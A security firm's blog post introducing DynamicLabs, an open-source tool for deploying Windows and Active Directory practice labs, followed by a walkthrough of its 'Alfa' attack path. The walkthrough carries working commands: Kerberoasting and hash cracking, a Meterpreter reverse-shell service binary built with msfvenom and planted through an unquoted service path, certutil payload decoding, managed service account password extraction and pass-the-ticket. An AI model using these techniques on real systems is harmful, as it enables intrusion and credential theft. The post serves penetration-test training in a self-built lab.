DynamicLabs: Introduction & Walk-through

DynamicLabs: Introduction & Walk-through

This post serves as an introduction to DynamicLabs and one of its attack paths. DynamicLabs was demoed as part of the Arsenal programme at Black Hat 2020.

What’s DynamicLabs? 

DynamicLabs is an open-source Infrastructure as Code solution that simplifies practicing various Windows tools, techniques, and procedures. It allows rapid deployment of your own customisable lab within AWS or Azure. The lab can comprise of multiple attack paths and exercises, while being open to technique customisation should you need it.

It’s primarily intended for use by penetration testers looking to hone their Windows and Active Directory skills. Compared to commercial solutions, DynamicLab is available to spin-up at demand, and can be used to practice a section of the lab in isolation (without having to complete a long and sometimes unrealistic attack path).

The project can be found at https://github.com/ctxis/DynamicLabs.

How does customisation work?

In summary, users use a pre-defined template for creating an arbitrary number of networks and systems.

        module      = "microsoft_windows_server_2016" 
        size        = "t2.medium" 
        network_id  = "000" 
        private_ip  = "" 
        class       = "DC" 
        id          = "001" 
        features    = ["AD_Create", "AD_User”] 
        attributes = [ 
                name = "AD_Create" 
                value = [{name = "domain_netbios_name", value = "alfa"}] 
                name = "AD_User" 
                value = [ 
                    {name = "username", value = "svc-backup-legacy"}, 
                    {name = "username", value = "svc-backup"} 

For example, the above code defines a single system block with the following details: 

  • OS Image 
  • System Size 
  • Network 
  • IP Address 
  • Hostname ( Workspace + Network + Class + ID ) 
  • Features 
  • Attributes 

Features define what weaknesses or vulnerabilities a system has. Attributes then allow you to further customise a feature. For example, the ‘AD_User’ feature defines what users are created and the ‘AD_User_Password’ feature can then be used to set a pre-defined password. Further features can then be used to inject this user’s credentials into memory, a file on disk, or to add the user into groups across other systems.

The full documentation for DynamicLabs (including which exercises and features it offers) can be found at https://dynamiclabs.readthedocs.io/.

The remainder of this post will illustrate deployment and solving an example attack path, Alfa.

The Alfa Attack Path 

The Alfa attack path is quite basic, but it serves as a good example of how features can be put together to form an attack path. The path will test a working understanding of:

  1. Domain Reconnaissance to Plan Attack Paths
  2. Kerberoasting
  3. Lateral Movement using WMI
  4. Identifying Windows Local Privilege Escalation Vulnerabilities
  5. Exploiting Unquoted Service Path Vulnerabilities
  6. Extracting Managed Service Account Credentials
  7. Leveraging Stolen Credentials

The objective of the attack path is to reveal the contents of the ‘flag.txt’ file stored on the primary domain controller’s C drive root.


Detailed setup instructions for DynamicLabs can be found at https://dynamiclabs.readthedocs.io/. It is especially important to refer to the F.A.Q. within the documentation for common errors during deployment.


Once DynamicLabs has been setup on a system, copy or rename the AWS/Azure example template (e.g. D:\Projects\dynamic-labs\Templates\attack-paths\Alfa\terraform-aws.tfvars.example) to ‘D:\Projects\dynamic-labs\Templates\attack-paths\Alfa\terraform-aws.tfvars’.

Within the new file, edit the AWS/Azure connection arguments and add in your IP subnet as shown below:

############ / AWS Credentials 
AWS_REGION      = "eu-west-2"
############ / Attacker IP Range 
attacker_ip = [""] # Your IP
############ / SSH Key
public_key_file_candidate    = "candidate_key.pub" 
public_key_file_management   = "management_key.pub" 
private_key_file_management  = "management_key.pem" 
############ / Networking 
availability_zone         = "eu-west-2a"

Please refer to documentation for a list of supported regions. 

Once the template is saved, begin deploying infrastructure for the Alfa attack path as follows: 

terraform workspace new alfa
terraform apply --var-file="./Templates/attack-paths/alfa/terraform-aws.tfvars" ./Terraform/AWS

Once completed, take note of the following details within the Terraform Output: 

  • Management Server’s Public IP 
  • Kali Server Public IP 
  • Candidate Server’s Public IP 
  • Candidate Username 
  • Candidate Password 

Then, transfer over the Terraform state onto the newly setup management server as follows: 

scp -i .\SSH-Keys\mgmt_key.pem -r .\terraform.tfstate.d\alfa\terraform.tfstate ubuntu@<management-server-ip>:~/

Thereafter, SSH onto the management server and begin system configuration using Ansible as follows: 

ansible-playbook -i /etc/ansible/terraform.py ./Ansible/site.yml


Begin by using a Remote Desktop client (such as mstsc) to connect to the candidate server as the ‘candidate’ user with password ‘ChangeMe_alfa!’.

Domain Reconnaissance to Plan Attack Paths 

Basic domain reconnaissance can identify the following:

1. The ‘alfa\candidate’ user is setup without any special privileges or groups.

2. The domain has a weak password policy.

PS C:\Users\candidate> net accounts /domain 
The request will be processed at a domain controller for domain alfa.lab. 
Force user logoff how long after time expires?:       Never 
Minimum password age (days):                          0 
Maximum password age (days):                          9000 
Minimum password length:                              0 
Length of password history maintained:                24 
Lockout threshold:                                    Never 
Lockout duration (minutes):                           30 
Lockout observation window (minutes):                 30 
Computer role:                                        PRIMARY 
The command completed successfully.

3. The domain has two ‘service’ accounts. 

Standard Account: 

PS C:\Users\candidate> Get-ADUser -Filter * | Select-String svc 

Managed Service Account: 

PS C:\Users\candidate> Get-ADServiceAccount svc-backup -Properties PrincipalsAllowedToRetrieveManagedPassword 
DistinguishedName                          : CN=svc-backup,CN=Managed Service Accounts,DC=alfa,DC=lab 
Enabled                                    : True 
Name                                       : svc-backup 
ObjectClass                                : msDS-GroupManagedServiceAccount 
ObjectGUID                                 : a6823214-43f4-45aa-8eb7-6c6328dd3174 
PrincipalsAllowedToRetrieveManagedPassword : {CN=BH2-001GS001,CN=Computers,DC=alfa,DC=lab} 
SamAccountName                             : svc-backup$ 
SID                                        : S-1-5-21-4131358327-1391985098-2250286160-1115

A review of these accounts reveals that account 1 has an SPN and Account 2’s password can be retrieved only by the BH2-001GS001 computer account. 

4. The MSA is in the privileged Backup Operators group.

PS C:\Users\candidate> Get-ADGroupMember "Backup Operators" 
distinguishedName : CN=svc-backup,CN=Managed Service Accounts,DC=alfa,DC=lab 
name              : svc-backup 
objectClass       : msDS-GroupManagedServiceAccount 
objectGUID        : b17f3903-366f-493f-949c-a87b8f4350db 
SamAccountName    : svc-backup$ 
SID               : S-1-5-21-4225010826-3627037363-999924932-1115

As Backup Operators generally have access to the PDC’s filesystem, compromising this user may be key to this attack path.



Kerberoasting (T1558-3) is a common attack against service accounts with weak password. Using Rubeus to Kerberoast all accounts on this domain provides the following results: 

PS C:\Users\candidate\Desktop> .\Rubeus.exe kerberoast /outfile:tgs.txt 
   ______        _ 
  (_____ \      | | 
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___) 
  | |  \ \| |_| | |_) ) ____| |_| |___ | 
  |_|   |_|____/|____/|_____)____/(___/ 
[*] Action: Kerberoasting 
[*] NOTICE: AES hashes will be returned for AES-enabled accounts. 
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts. 
[*] Searching the current domain for Kerberoastable users 
[*] Found 1 user(s) to Kerberoast! 
[*] SamAccountName         : svc-backup-legacy 
[*] DistinguishedName      : CN=svc-backup-legacy,CN=Users,DC=alfa,DC=lab 
[*] ServicePrincipalName   : legacybackup/BH2-001GS001 
[*] PwdLastSet             : 8/3/2020 8:03:01 PM 
[*] Supported ETypes       : RC4_HMAC_DEFAULT 
[*] Hash written to C:\Users\candidate\Desktop\tgs.txt 
[*] Roasted hashes written to : C:\Users\candidate\Desktop\tgs.txt

The resulting ticket can then be cracked using a tool such as Hashcat or JohnTheRipper. 

PS C:\Users\candidate\Desktop> .\john\run\john.exe --wordlist=.\john\run\wordlist.txt .\tgs.txt 
Using default input encoding: UTF-8 
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) 
Press 'q' or Ctrl-C to abort, almost any other key for status 
spring2020       (?) 
1g 0:00:00:00 DONE (2020-08-03 20:03) 90.90g/s 363.6p/s 363.6c/s 363.6C/s summer..autumn 
Use the "--show" option to display all of the cracked passwords reliably 
Session completed

Lateral Movement 

Theory: https://attack.mitre.org/tactics/TA0008/ 

A port scan of exposed common remoting protocols indicates that RDP, SMB and WMI are the most likely vectors for lateral movement. Basic reconnaissance using the ‘svc-backup-legacy’ account confirms that we do not have the necessary privileges to RDP or SMBExec, however WMI paves the way forward. 

Identifying Windows Local Privilege Escalation Vulnerabilities 

Theory: https://www.fuzzysecurity.com/tutorials/16.html 

Once on this system, it’s simple enough to confirm that the ‘svc-backup-legacy’ user does not have any special privileges; however, on running a privilege escalation checks, the system is found to be vulnerable to Local Privilege Escalation via an Unquoted Service Path. 

[BH2-001GS001.alfa.lab]: PS C:\Software\Snow Software> icacls .\ 

Look at the SnowSoft service in-detail and confirm that: 

  1. The service path is unquoted as C:\Software\Snow Software\Inventory\Agent\snowagent.exe 
  2. We have write privileges at the ‘C:\Software\Snow.exe’ path to take-over control. 

Exploiting Unquoted Service Path Vulnerabilities 


As stealth has obviously been optional for this mission, use MSFVenom to generate a Meterpreter shell that is in the format of a service binary, and exploit/multi/handler to receive it. Lastly, we can use base64 encode and certutil to quickly transfer it over and start the service.


root@kali:/home/ec2-user# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=443 -f exe-service > snow.exe 
root@kali:/home/ec2-user# cat snow.exe | base64 
msf5 exploit(multi/handler) > show options 
Module options (exploit/multi/handler): 
Payload options (windows/x64/meterpreter/reverse_tcp): 
   Name      Current Setting  Required  Description 
   ----      ---------------  --------  ----------- 
   EXITFUNC  process          yes       Exit technique 
   LHOST        yes       The listen address (an interface may be specified) 
   LPORT     443              yes       The listen port 
Exploit target: 
   Id  Name 
   --  ---- 
   0   Wildcard Target 
msf5 exploit(multi/handler) > run -j 
[*] Exploit running as background job 0. 
[*] Exploit completed, but no session was created. 
[*] Started reverse TCP handler on


runas /netonly /user:alfa\svc-backup-legacy powershell 
[BH2-001GS001.alfa.lab]: PS C:\Software> echo “[payload]” > snow.64 
[BH2-001GS001.alfa.lab]: PS C:\Software> certutil -decode .\snow.64 snow.exe 
Input Length = 19376 
Output Length = 7168 
CertUtil: -decode command completed successfully. 
[BH2-001GS001.alfa.lab]: PS C:\Software> Get-Service snwsoft | Start-Service

Once exploited successfully, the attacker has gained administrative privileges on the BH2-002GS001 system.

Working with Managed Service Accounts 


Based on our initial reconnaissance, the BH2-002GS001 system has access to retrieve the password for a managed service account (svc-backup).

From the recent shell, the password for this account can be easily retrieved as follows: 

$gmsa = Get-ADServiceAccount svc-backup -Properties 'msDS-ManagedPassword' 

This can then be decoded using functions from DSInternals as follows: 

$mp = [Convert]::FromBase64String(<base64 encoded string>) 
$pwd = ConvertFrom-AdManagedPasswordBlob $mp 
ConvertTo-NTHash $pwd.SecureCurrentPassword

Using Rubeus yet again, the NTHash can be handed in for a Kerberos TGT, which can be leveraged to connect to CIFS on the PDC as follows: 

C:\Windows\system32>runas /netonly /user:x\x powershell 
C:\Windows\system32>rubeus.exe asktgt /user:svc-backup$ /rc4:3f0c51b2ab63dd53b780f8b3adf9da60 /ptt 

C:\Windows\system32>type \\DC.alfa.lab\c$\flag.txt 
So many flags, so little time.

The final jump from Backup Operator to the Administrator user is left as an exercise for the reader, however, there are multiple methods that can be explored: 

  • Trojan GPOs that
  1. Create an immediate execution task 
  2. Create malicious group memberships 
  3. Inject into common run registry keys  
  • Writing to the start-up folder, thereby relying on a privileged user to logon 
  • Modifying User Rights within the Default Domain Controller Policy 

In conclusion

Once setup, it is quite trivial to deploy new labs or several instances of the same lab. It is also quite quick to customise and build reliable labs in this manner. Due these advantages, an Infrastructure as Code solution seems like the way forward for developing Windows and Active Directory security trainings; and hopefully we shall see you attempting more exercises and contributing additional features to the project.

Subscribe for more Research like this

Find out more

Book a Meeting

CHECK IT Health Check Service
Cyber Essentials
CESG Certified Service
First - Improving Security Together
BSI ISO 9001 FS 581360
BSI ISO 27001 IS 553326
PCI - Approved Scanning Vendor